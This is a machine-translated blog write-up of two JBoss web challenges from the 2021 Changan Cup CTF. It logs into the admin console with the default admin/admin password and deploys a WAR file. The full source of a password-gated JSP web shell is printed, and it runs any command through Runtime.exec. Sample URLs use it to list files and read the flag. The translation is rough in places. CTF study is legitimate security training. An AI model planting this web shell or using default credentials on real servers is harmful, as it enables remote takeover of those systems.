当前位置:网站首页>CTF_ Web: Changan cup-2021 old but a little new & asuka
CTF_ Web: Changan cup-2021 old but a little new & asuka
2022-06-25 04:38:00 【AFCC_】
0x00 Old But A Little New
Two JBoss The topic is almost the same , The solution is the same , There is only one content in the test , Namely Jboss Upload in the background war package getshell.
The first is a jboss page .
hinder wiki And so on jboss Its official website , It has nothing to do with this question .
0x01 Weak password login

First path admin-console, The administrator console can be used directly admin、admin Weak password login , Find the deployment in the background war Where packages are uploaded .( there shell.war It has been uploaded )
0x02 Upload war package getshell
What is used here is TsengYUen Master's echo jsp In a word , Then use the command to package .
jar cvf shell.war 1.jsp
The content of one sentence is :
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
After successful deployment, view your own war package :
Path is /shell/1.asp
Page link column Directory
http://51118620.yunyansec.com/shell/1.jsp?pwd=023&i=ls
direct cat flag that will do .
http://51118620.yunyansec.com/shell/1.jsp?pwd=023&i=cat%20flag

0x03 asuka
JBoss Series title , With last one JBoss The same solution , Use the same war Bag can . Command execution to get flag
边栏推荐
- Laravel document sorting 8. Middleware
- OOP栈类模板(模板+DS)
- GBase 8s 锁的分类
- 彻底理解数据库事务
- 我的IC之旅——资深芯片设计验证工程师成长——“胡”说IC工程师完美进阶
- English Grammar - pronunciation rules
- PostgreSQL数据库WAL——RM_HEAP_ID日志记录动作
- Nodejs connects to MySQL through heidisql, and ER appears_ BAD_ DB_ ERROR: Unknown database 'my_ db_ books'
- Musk released humanoid robot. Why is AI significant to musk?
- SQL injection details
猜你喜欢

CTF_ Web: Advanced questions of attack and defense world expert zone WP (15-18)

UCLA | generative pre training for black box optimization

GBASE 8s 索引R树

Machine learning deep learning -- Vectorization

LabVIEW开发气体调节器

简单的恶意样本行文分析-入门篇

What is the storage engine and the three common database storage engines for MySQL

js中的concat()

我的IC之旅——资深芯片设计验证工程师成长——“胡”说IC工程师完美进阶

为什么TCP握手刚刚好是3次呢?
随机推荐
如何筛选出和产品相关的词,精准排除掉无效词
Synchronous and asynchronous functions (callback function, promise, generator, async/await)
A detailed summary of four handshakes (or four waves) over TCP connections
GBASE 8s的数据导入和导出
Value transfer between parent and child components of wechat applet
PHP extracts and analyzes table contents, and collects bidding information
GBASE 8s的隔离级别介绍
Retrofit source code analysis
Anaconda安装+TensorFlow安装+Keras安装+numpy安装(包含镜像和版本信息兼容问题)
CTF_ Web: Advanced questions of attack and defense world expert zone WP (19-21)
彻底理解数据库事务
Solution of gbase 8s livelock and deadlock
Use of deferred environment variable in gbase 8s
Detailed explanation of flex attributes in flex layout
什么是持久化?redis 持久化中的RDB和AOF是什么?
Unity Quad culls shaders with back faces and transparent parts
Paper notes: multi label learning ESMC (I don't understand it, but I haven't written it yet, so I'll put it here for a place temporarily)
记录小知识点
冰冰学习笔记:循环队列的实现
SQL injection details